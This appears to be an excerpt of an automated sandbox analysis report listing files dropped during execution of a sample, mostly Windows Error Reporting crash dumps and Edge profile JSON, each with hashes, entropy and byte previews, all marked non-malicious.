Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.9.7.8.0.5.8.7.7.8.6.8.1.7.5.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.7.9.7.8.0.5.9.0.0.7.5.3.1.8.8.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.5.1.0.6.4.0.a.1.-.9.c.b.9.-.4.f.9.0.-.a.1.8.e.-.8.8.c.d.0.b.8.e.1.d.9.e.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.8.a.f.5.6.5.4.d.-.f.3.0.9.-.4.d.9.b.-.8.d.a.f.-.3.0.6.f.4.f.4.8.9.a.0.3.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.V.B.J.U.2.N.3.e.u.X.B.4.j.M.x.u...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.0.7.d.0.-.0.0.0.1.-.0.0.1.4.-.5.f.c.0.-.f.d.3.e.6.5.5.8.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.b.a.0.f.c.7.9.e.9.6.6.1.5.6.a.f.7.3.f.d.c.f.9.0.e.c.1.b.c.a.0.b.0.0.0.0.f.f.f.f.!.0.0.0.0.9.3.2.b.d.c.0.f.e.a.8.8.7.6.5.b.8.b.3.c.1.9.f.9.5.4.d.4.3.5.7.9.5.0.3.4.5.0.1.c.!.V.B.J.U.2.N.3.e.u.X.B.4.j.M.x.u...e.x.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER42A4.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Fri Dec 27 13:43:08 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	73732
Entropy (8bit):	1.7128677785111932
Encrypted:	false
SSDEEP:	192:PmDNAosQCihOrpYmI5qqfuhvDP9UgX7izqYTNqVJ7DH3zqQYWtT3LI:uDa9QCLryNShvDP9jridK7DH3zaWps
MD5:	D785C4BFA315333234FE5262458C107B
SHA1:	56CD496F7CF97D334FB8F4AFA1BCE4ED40659EEB
SHA-256:	82E1A29A0E8613E44CEC09BEC1160CA8B0DA46140084930637C99255ED3EA8BF
SHA-512:	CFD5A6B26F2928DBED4704CB5CA67DD17FD9932750B06F384C6B5CF8F1FC4CCD282E34E06A4AF99526514B2E73A730AC2AF6D1BAC40B67AF17FD350C91A63D2B
Malicious:	false
Preview:	MDMP..a..... ........ng............T...............\...........t1..........T.......8...........T.......................................................................................................................eJ..............GenuineIntel............T............ng............................. ..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER44E7.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8402
Entropy (8bit):	3.7094724642199903
Encrypted:	false
SSDEEP:	192:R6l7wVeJLa6lt6Y3o6ANC3gmfliprM89bFTsfDXm:R6lXJ26/6Y46ANC3gmflGF4fq
MD5:	2E864A64D9C35F5AECF54CEA9B52E521
SHA1:	BB825DD5468C757FDC6538588D1CF1872D0325E2
SHA-256:	19E80406B4BFAA18ABA76BEA63E9E87C0887E1320A455339185B796B795DEF9F
SHA-512:	22AE79CD477BF085BDA6E324BC350A9D90A1B4A9DB78E65D036C1214259C3C44F26F5284A312B2DCF0846E00D63AB0A874BE9EDF767BC77AC2537CC81504839C
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.2.0.0.0.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER4517.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4653
Entropy (8bit):	4.532713711347701
Encrypted:	false
SSDEEP:	48:cvIwWl8zsRJg77aI9ncWpW8VY/yYm8M4J5ZF/q+q8vo3LA+30eKEd:uIjfjI71V7VC7JhqVL93TKEd
MD5:	FF780A5E4D2790418020269F7869C52D
SHA1:	F147E8B3609EABE0004CECED27B3B16AF3F98C27
SHA-256:	43DC97E21F369751C7D81CE78AB6FAE7AB6A8651C7149D06CDF37FFC92688B4C
SHA-512:	0E08FC71ADF1CFF9356BA2C4732462E217BA12D0717954F7E667256654DB3B2EA52A160FFE3461EA8B0FEDCA32F7D4EB40BC06EBED2A399381213FE1240BCE16
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="649725" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Microsoft\Windows\WER\Temp\WERB505.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Fri Dec 27 13:43:38 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	70000
Entropy (8bit):	1.6885311774779188
Encrypted:	false
SSDEEP:	192:GyhiAosQlSOrp6D5XFfCvePHip6JVqYyw8YkOT9Y:Bhb9QTrwD5QvePHiTYHkIY
MD5:	B7D3AEB8EDC29AFCFED3BCD7D1915DCD
SHA1:	9A2670C3A5BA87B16BEFEAA70607616EFF5F05E4
SHA-256:	9CC0BE5FA18703174A267B5942611D1188E543EE14718F93659C992BA111E1AF
SHA-512:	D357F68FEC78CDCA09D2EE72988F7FC6D02C57A50A06DA3AA7747B5DF5621139D5ABECEA841382A8527B4CB3B185CC4CF481C639524DCEBDDDC00D3BCC0A14C6
Malicious:	false
Preview:	MDMP..a..... .........ng............T...............\...........t1..........T.......8...........T.......................................................................................................................eJ..............GenuineIntel............T............ng............................. ..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WERB99A.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8368
Entropy (8bit):	3.7092712282985056
Encrypted:	false
SSDEEP:	192:R6l7wVeJLI650V6Y346ANC3gmfV44XpDr89bGTsfEUim:R6lXJE6mV6Yo6ANC3gmfV44eG4f5
MD5:	86EF5B1231C4C4B8A5D79A40706C937F
SHA1:	B37EBCAC30423646273A9CE35ADF91B3603D303C
SHA-256:	28CB2803BD7730A62F967AAECB31DC5C6849F528B02D43254D7210CBF7231686
SHA-512:	8EF70BB80E8ACFC949BCD2AB2D1F24E307F23C240804C76B249171B199DA00DA3EB0AE0BEC58CC1B83A7515B9B26DBEB1199C5119A9862EDD01FAF122FB86C60
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.2.0.0.0.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERB9CA.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4629
Entropy (8bit):	4.522591559589156
Encrypted:	false
SSDEEP:	48:cvIwWl8zsgJg77aI9ncWpW8VYNYm8M4J5/Fo+q8nQ3LA+30eKEd:uIjfmI71V7VZJoZL93TKEd
MD5:	F7056C9A54349AE568EE7A2127B05731
SHA1:	45E6043BB7F2CC57F00F64FED060D545A2A58B9A
SHA-256:	D08FDE710378F3BD003EE0E3EB49B81E887D29E4CA3D5A8A0651CB292C07BB00
SHA-512:	5C803C2D3AAC7338742D215181B755FDBD41DDBEDE7848DBA866BE8A70163A3EFE9A1FFAF4AD2F57F11661B6C52A98F904DCB2A4D0853FE050FED3DDA115A993
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="649726" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\Users\user\AppData\LocalLow\Microsoft\Internet Explorer\Services\search_{0633EE93-D776-472f-A0FF-E1416B8B2E3A}.ico

Download File

Process:	C:\Program Files\Internet Explorer\iexplore.exe
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	3.8046022951415335
Encrypted:	false
SSDEEP:	24:suZOWcCXPRS4QAUs/KBy3TYI42Apvl6wheXpktCH2Yn4KgISQggggFpz1k9PAYHu:HBRh+sCBykteatiBn4KWi1+Ne
MD5:	DA597791BE3B6E732F0BC8B20E38EE62
SHA1:	1125C45D285C360542027D7554A5C442288974DE
SHA-256:	5B2C34B3C4E8DD898B664DBA6C3786E2FF9869EFF55D673AA48361F11325ED07
SHA-512:	D8DC8358727590A1ED74DC70356AEDC0499552C2DC0CD4F7A01853DD85CEB3AEAD5FBDC7C75D7DA36DB6AF2448CE5ABDFF64CEBDCA3533ECAD953C061A9B338E
Malicious:	false
Preview:	...... .... .........(... ...@..... ...................................................................................................................................................................................................N...Sz..R...R...P...N..L..H..DG..........................................................................................R6..U...U...S...R...P...N..L..I..F..B...7...............................................................................S6..V...V...U...S...R...P...N..L..I..F..C...?..:z......................................................................O...W...V...V...U...S...R...P...N..L..I..E..C...?...;..{7..q2$..............................................................T..D..]...S)..p6..J...R...P...N..L..I..E..B..>..;..z7..p2..f,X.........................................................A..O#..N!..N!..N!..P$..q:...P...N..K..I..E..A..=..9..x5..n0..e,...5...................................................Ea.Z,..T$..T$..T

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\152c595e-f1ce-44fd-80e1-14e6b901932c.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	21874
Entropy (8bit):	6.060841924484497
Encrypted:	false
SSDEEP:	384:OBtMkaMJH2m8qVT8IeQ0I5t0b9MEFdsNwp1wJ+L06RRyj4T35ub/Y3jFd474W:UMkbJrT8IeQc5dNy6oj4L5uTY3Jg
MD5:	44D3925643BF25FA026B31E76EFAC5D4
SHA1:	F713A33CEDE9B2C808ED8DDEE2978FF35EB69164
SHA-256:	F5C3F138B6F9E5794513AB5272E5A8220DA3E27F16516283280006415115EF8B
SHA-512:	4D3722F052CFBF09DAFFCC07CD5FA57319E4F5E938E916983635541A25B59E8A239F61CBCDBE88FBDF73B4B3855B0AF3A6A71F556264CC64F7DF11BB6BB7380C
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","apps_count_check_time":"13379780575703241","browser":{"last_redirect_origin":""},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNorvM4+RiU6+CjD0kb+pHz7rRm3rXSyzABnWdKBG+Ijlx7hEE4QTzo+AB6fnDLLJBpo7PKv8Ob367/KjUg8mcY6CmCjTJCmtsWFOcUf5vj04cw0e1yZe2WAl8svFn5IC43jfc+dLnGrEyDwAicHCxNdhlrVa5LEtTgt5u2lAK02pd1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\1a881c7d-defd-4480-ae5f-b5d270c6c7af.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	71222
Entropy (8bit):	6.077922469345923
Encrypted:	false
SSDEEP:	1536:UMk1rT8H1Raf8dP0SQvz+pm+38n7hQpkslSHZOYqCkZzLeFuTz:UMYrT8VckdP0S2S8nq3KwTZzLe0H
MD5:	7B7DE36186A6D053592CE7960F3D410A
SHA1:	E41EFFF955C9A4A13FB152779C439291C9D62CA9
SHA-256:	E2AB87B88034D494658B8B8516493CC9A730ABB66FD263D89A181F6140DA4B57
SHA-512:	12E00535A8CC22AD63643ECDC5D23B836E31242DD5BF8C732FA9E457B500AC981E017CEAA0657EBD74ED7513821003FD576A7724E536BDBF0797A53139489FB9
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","apps_count_check_time":"13379780575703241","browser":{"last_redirect_origin":""},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNorvM4+RiU6+CjD0kb+pHz7rRm3rXSyzABnWdKBG+Ijlx7hEE4QTzo+AB6fnDLLJBpo7PKv8Ob367/KjUg8mcY6CmCjTJCmtsWFOcUf5vj04cw0e1yZe2WAl8svFn5IC43jfc+dLnGrEyDwAicHCxNdhlrVa5LEtTgt5u2lAK02pd1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\203d1235-9b02-4409-94bc-f44c2797d805.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	8333
Entropy (8bit):	5.7981287448227175
Encrypted:	false
SSDEEP:	192:fsNw9m1wCeiRUH96NjREkje6qRAq1k8SPxVLZ7VTiB:fsNw41w4+96BRfje6q3QxVNZTiB
MD5:	60001EE33EC478691C5B705B28F1F09A
SHA1:	543C442BFEBBB39F006ACA82A82C4A9397AAAE36
SHA-256:	AE39D70B7D51DE74A665502F79CD796C8DC935F8BDC89363FBF1555894A92DF1
SHA-512:	7AC7E6480FB0C7C7599BD2A339BB7A4AB023B270C1DD0DE62A2BD45640E282C4325A111047B15CCAC24F29EAEE292342194882D775E39CCB0939F280B1E3FBC6
Malicious:	false
Preview:	{"browser":{"last_redirect_origin":""},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"dual_engine":{"ie_to_edge":{"redirection_mode":0}},"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false,"performance_mode_main_toggle":false},"tab_stabs":{"closed_without_unfreeze_never_unfrozen":0,"closed_without_unfreeze_previously_unfrozen":0,"discard_without_unfreeze_never_unfrozen":0,"discard_without_unfreeze_previously_unfrozen":0},"tab_stats":{"frozen_daily":0,"unfrozen_daily":0}},"fire_local_softlanding_notification":false,"fre":{"oem_bookmarks_set":true,"soft_landing_bubble":{"bubble_response":0,"has_user_seen_bubble":true,"is_bubble_triggered":0}},"hardware_acceleration_mode_previous":true,"legacy":{"profile":{"name":{"migrated":true}}},"migration":{"last_edgeuwp_pin_migration_on_edge_version":"92.0.902.67","last_edgeuwp_pin_migration

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\27b39e7d-13b4-4bb5-a4e2-8780c265c1e6.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	7346
Entropy (8bit):	5.544202938500018
Encrypted:	false
SSDEEP:	192:SWsNwY/m1wCViRUHL06h2jRBkjNOOg+Et:SWsNwp1wJ+L06ORyjNOOg+Et
MD5:	6546CB3CE7A4375A0B3BA142D65DAE84
SHA1:	0A9B8695212336274C147B45AEEAD8F5CFC38E05
SHA-256:	278785D5D98F6843E72DF704B5B1AA6DBBF4D867471EEE02E35536F0F195CEAC
SHA-512:	472A7B4087561461368C183C855CE8597954B429DEE26D7EAEA41A52CB18463FD8E299C7A0E6AAD35DB49710F11E95CF4B7F90E9C57E810FA8591545483532D1
Malicious:	false
Preview:	{"apps_count_check_time":"13379780575703241","browser":{"last_redirect_origin":""},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"domain_actions_config":"H4sIAAAAAAAAAAMAAAAAAAAAAAA=","dual_engine":{"ie_to_edge":{"redirection_mode":0}},"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false,"performance_mode_main_toggle":false},"tab_stabs":{"closed_without_unfreeze_never_unfrozen":0,"closed_without_unfreeze_previously_unfrozen":0,"discard_without_unfreeze_never_unfrozen":0,"discard_without_unfreeze_previously_unfrozen":0},"tab_stats":{"frozen_daily":0,"unfrozen_daily":0}},"fire_local_softlanding_notification":false,"fre":{"oem_bookmarks_set":true,"soft_landing_bubble":{"bubble_response":0,"has_user_seen_bubble":true,"is_bubble_triggered":0}},"hardware_acceleration_mode_previous":true,"host_package_checked_on_browser_version":"117.0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\2e987f4c-9c7e-4226-a367-c9db2b080302.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	8098
Entropy (8bit):	5.802352006652867
Encrypted:	false
SSDEEP:	192:asNA9m1wCeiRUHO6PQRMkjW+G6qRAq1k8SPxVLZ7VTiq:asNA41w4+O6oRHjU6q3QxVNZTiq
MD5:	60D9FEE89D1DB15BFB2C49F6F2F2D110
SHA1:	03781418243E8B251CBC2D77BAF8CA2FB5AD880F
SHA-256:	B4869C28B5E9215C7651B9E5D6C7A37DA29B39B62857791A2293F4CD953D610B
SHA-512:	10861C43AD4CF5983850C27454147480DD0C36FE9AD2969FDF038DF81BE2077E69251272B41C44C6FE3482CB8C651F9073879666E58863136DE0C07BC12E236E
Malicious:	false
Preview:	{"browser":{"last_redirect_origin":""},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false,"performance_mode_main_toggle":false},"tab_stabs":{"closed_without_unfreeze_never_unfrozen":0,"closed_without_unfreeze_previously_unfrozen":0,"discard_without_unfreeze_never_unfrozen":0,"discard_without_unfreeze_previously_unfrozen":0},"tab_stats":{"frozen_daily":0,"unfrozen_daily":0}},"fire_local_softlanding_notification":false,"fre":{"soft_landing_bubble":{"bubble_response":0,"has_user_seen_bubble":true,"is_bubble_triggered":0}},"hardware_acceleration_mode_previous":true,"legacy":{"profile":{"name":{"migrated":true}}},"migration":{"last_edgeuwp_pin_migration_on_edge_version":"92.0.902.67","last_edgeuwp_pin_migration_on_os_version":"10 OS Version 2009 (Build 19045.2006)","last_edgeuwp_pin_mig

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\3e2daad6-8227-4878-8c72-8c5f39aa2507.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	8098
Entropy (8bit):	5.802352006652867
Encrypted:	false
SSDEEP:	192:asNA9m1wCeiRUHO6PQRMkjW+G6qRAq1k8SPxVLZ7VTiq:asNA41w4+O6oRHjU6q3QxVNZTiq
MD5:	60D9FEE89D1DB15BFB2C49F6F2F2D110
SHA1:	03781418243E8B251CBC2D77BAF8CA2FB5AD880F
SHA-256:	B4869C28B5E9215C7651B9E5D6C7A37DA29B39B62857791A2293F4CD953D610B
SHA-512:	10861C43AD4CF5983850C27454147480DD0C36FE9AD2969FDF038DF81BE2077E69251272B41C44C6FE3482CB8C651F9073879666E58863136DE0C07BC12E236E
Malicious:	false
Preview:	{"browser":{"last_redirect_origin":""},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false,"performance_mode_main_toggle":false},"tab_stabs":{"closed_without_unfreeze_never_unfrozen":0,"closed_without_unfreeze_previously_unfrozen":0,"discard_without_unfreeze_never_unfrozen":0,"discard_without_unfreeze_previously_unfrozen":0},"tab_stats":{"frozen_daily":0,"unfrozen_daily":0}},"fire_local_softlanding_notification":false,"fre":{"soft_landing_bubble":{"bubble_response":0,"has_user_seen_bubble":true,"is_bubble_triggered":0}},"hardware_acceleration_mode_previous":true,"legacy":{"profile":{"name":{"migrated":true}}},"migration":{"last_edgeuwp_pin_migration_on_edge_version":"92.0.902.67","last_edgeuwp_pin_migration_on_os_version":"10 OS Version 2009 (Build 19045.2006)","last_edgeuwp_pin_mig

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\4681c2f1-0a7b-496e-95a8-12d1b2fcf789.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	6820
Entropy (8bit):	5.792085381492621
Encrypted:	false
SSDEEP:	192:ak9m1leiRUHhhRn86qRAq1k8SPxVLZ7VTiq:ak41F+fRn86q3QxVNZTiq
MD5:	4764150367C42A73523717C5BB50DCA2
SHA1:	969FEA394DCA8373774E550A7AACA72DEECF362B
SHA-256:	329990CE76F2678CDBA3B1E0492BDB546EC9DF5A8C021571950BD7FA5DE72EF9
SHA-512:	F46F0610878D6A23BA88E9D51851E7D313F5B180B79AA1856FB63AC5AE14B26F616595A028AA839F0677A465E90548BC5A6ECB94AC1B5546B65213F484D09A01
Malicious:	false
Preview:	{"browser":{"last_redirect_origin":""},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false,"performance_mode_main_toggle":false}},"fire_local_softlanding_notification":false,"fre":{"soft_landing_bubble":{"bubble_response":0,"has_user_seen_bubble":true,"is_bubble_triggered":0}},"hardware_acceleration_mode_previous":true,"legacy":{"profile":{"name":{"migrated":true}}},"migration":{"last_edgeuwp_pin_migration_on_edge_version":"92.0.902.67","last_edgeuwp_pin_migration_on_os_version":"10 OS Version 2009 (Build 19045.2006)","last_edgeuwp_pin_migration_success":false},"os_crypt":{"audit_enabled":true,"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAAA5fd7lRcciQ59Jbj3gMZsbEAAAAB4AAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAZABnAGUAAAAQZgAAAAEAACAAAAA0KhB7WOkT2I4W1zU0jGIZ4PHfkGG5n4lu5OtmBhk4qQAAAAA

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\50bde067-0ffd-4678-9793-569228acee36.tmp

Download File

